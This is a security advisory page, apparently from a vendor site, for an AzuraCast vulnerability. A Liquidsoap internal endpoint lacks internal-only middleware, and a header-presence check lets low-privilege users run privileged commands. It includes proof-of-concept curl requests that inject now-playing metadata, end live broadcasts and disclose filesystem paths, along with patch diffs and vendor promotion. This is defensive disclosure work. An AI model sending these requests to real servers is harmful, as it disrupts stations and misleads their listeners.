Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

GHSA-4fm3-ggg2-c6qx azuracast/azuracast

MEDIUMFix: AzuraCast/AzuraCast@13fa7a7

GHSA-4fm3-ggg2-c6qx is a medium-severity (CVSS 6.3) vulnerability in azuracast/azuracast. A fix is available for azuracast/azuracast — see the affected versions and patch details below.

AzuraCast's Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption

Published
May 4, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of May 5, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘azuracast/azuracast

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The /api/internal/{station_id}/liquidsoap/{action} endpoint is accessible from the public web interface because it lacks the RequireInternalConnection middleware that protects other internal endpoints (/sftp-auth, /sftp-event). Combined with a logic flaw where the $asAutoDj flag is set based on the presence of the X-Liquidsoap-Api-Key header rather than its validated value, any user with the basic View station permission can invoke privileged Liquidsoap commands — injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths.

Details

Issue 1: Missing RequireInternalConnection middleware

In backend/config/routes/api_internal.php, the liquidsoap route group (lines 17-21) lacks the RequireInternalConnection middleware:

// Lines 17-21 — NO RequireInternalConnection
$group->map(
    ['GET', 'POST'],
    '/liquidsoap/{action}',
    Controller\Api\Internal\LiquidsoapAction::class
)->setName('api:internal:liquidsoap');

Compare with sftp endpoints that correctly apply it:

// Lines 32-34 — HAS RequireInternalConnection
$group->post('/sftp-auth', Controller\Api\Internal\SftpAuthAction::class)
    ->setName('api:internal:sftp-auth')
    ->add(Middleware\RequireInternalConnection::class);

The nginx config (util/docker/web/nginx/azuracast.conf.tmpl) only sets the IS_INTERNAL FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet.

Issue 2: $asAutoDj derived from header presence, not validated value

In backend/src/Controller/Api/Internal/LiquidsoapAction.php:

// Line 34 — checks header PRESENCE, not value
$asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');

// Lines 38-44 — key value only checked when ACL FAILS
$acl = $request->getAcl();
if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
    $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
    if (!$station->validateAdapterApiKey($authKey)) {
        throw new RuntimeException('Invalid API key.');
    }
}

When a user authenticates via session/API key and has StationPermissions::View, the ACL check passes and the adapter API key is never validated. But $asAutoDj is already true from line 34 because the header is present (with any arbitrary value).

Affected commands:

  • FeedbackCommand (backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36): Guard if (!$asAutoDj) return false; bypassed — creates SongHistory records and forces NowPlaying cache updates
  • DjOffCommand (backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24): Guard bypassed — calls $this->streamerRepo->onDisconnect($station) which ends all active broadcasts and sets $station->is_streamer_live = false
  • DjOnCommand (backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31): Guard bypassed — calls $this->streamerRepo->onConnect($station, $user) with attacker-controlled username
  • CopyCommand (backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18): No $asAutoDj guard at all — returns absolute filesystem paths via $mediaFs->getLocalPath($uri)

PoC

Prerequisites: A user account with StationPermissions::View on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.

1. Inject arbitrary now-playing metadata (FeedbackCommand):

curl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \
  -H 'X-API-Key: <view-user-api-key>' \
  -H 'X-Liquidsoap-Api-Key: anything' \
  -H 'Content-Type: application/json' \
  -d '{"artist": "INJECTED", "title": "Fake Song Title"}'

Expected: Should reject — user does not have the adapter API key. Actual: Returns true. The injected artist/title appears in /api/nowplaying/1 for all listeners.

2. Disrupt live broadcast (DjOffCommand):

curl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \
  -H 'X-API-Key: <view-user-api-key>' \
  -H 'X-Liquidsoap-Api-Key: anything'

Expected: Should reject. Actual: Returns true. All active broadcast records for the station are terminated (timestampEnd set), is_streamer_live set to false, and current_streamer cleared.

3. Disclose filesystem paths (CopyCommand):

curl -X POST 'https://target/api/internal/1/liquidsoap/cp' \
  -H 'X-API-Key: <view-user-api-key>' \
  -H 'Content-Type: application/json' \
  -d '{"uri": "test.mp3"}'

Expected: Should reject — this is an internal-only endpoint. Actual: Returns {"uri":"/var/azuracast/stations/1/media/test.mp3","isTemp":false} — disclosing the absolute filesystem path of the station's media storage.

Impact

Any user with the basic StationPermissions::View permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:

  1. Inject arbitrary now-playing metadata visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.

  2. Disrupt live broadcasts by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.

  3. Fake DJ connections with arbitrary usernames via the djon command, polluting streamer logs and potentially interfering with DJ scheduling.

  4. Disclose absolute filesystem paths of the station's media storage directory via the cp command (no $asAutoDj guard required), which aids further attacks against the server.

Recommended Fix

Fix 1: Add RequireInternalConnection middleware to the liquidsoap route group.

In backend/config/routes/api_internal.php, add the middleware to the station group:

$group->group(
    '/{station_id}',
    function (RouteCollectorProxy $group) {
        $group->map(
            ['GET', 'POST'],
            '/liquidsoap/{action}',
            Controller\Api\Internal\LiquidsoapAction::class
        )->setName('api:internal:liquidsoap')
+           ->add(Middleware\RequireInternalConnection::class);

        // Icecast internal auth functions
        $group->map(
            ['GET', 'POST'],
            '/listener-auth[/{api_auth}]',
            Controller\Api\Internal\ListenerAuthAction::class
        )->setName('api:internal:listener-auth');
    }
)->add(Middleware\GetStation::class);

Fix 2: Validate the API key value before setting $asAutoDj.

In backend/src/Controller/Api/Internal/LiquidsoapAction.php, move $asAutoDj assignment after key validation:

- $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');
+ $asAutoDj = false;

  try {
      $acl = $request->getAcl();
      if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
          $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
          if (!$station->validateAdapterApiKey($authKey)) {
              throw new RuntimeException('Invalid API key.');
          }
+         $asAutoDj = true;
+     } else {
+         // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations
+         $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
+         $asAutoDj = !empty($authKey) && $station->validateAdapterApiKey($authKey);
      }

Both fixes should be applied. Fix 1 is the primary defense (defense in depth — this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that $asAutoDj is only true when the adapter API key is actually valid, regardless of how authentication was performed.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistazuracast/azuracastall versions0.23.6composer require azuracast/azuracast:^0.23.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for azuracast/azuracast, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update azuracast/azuracast to 0.23.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4fm3-ggg2-c6qx is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4fm3-ggg2-c6qx can be triaged on real exposure rather than presence alone.

Tailored to GHSA-4fm3-ggg2-c6qx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `/api/internal/{station_id}/liquidsoap/{action}` endpoint is accessible from the public web interface because it lacks the `RequireInternalConnection` middleware that protects other internal endpoints (`/sftp-auth`, `/sftp-event`). Combined with a logic flaw where the `$asAutoDj` flag is set based on the *presence* of the `X-Liquidsoap-Api-Key` header rather than its *validated value*, any user with the basic `View` station permission can invoke privileged Liquidsoap commands — injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking
O3 Security · Impact-Aware SCA

Is GHSA-4fm3-ggg2-c6qx in your dependencies?

O3 Security finds GHSA-4fm3-ggg2-c6qx across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-4fm3-ggg2-c6qx: azuracast/azuracast | O3 Security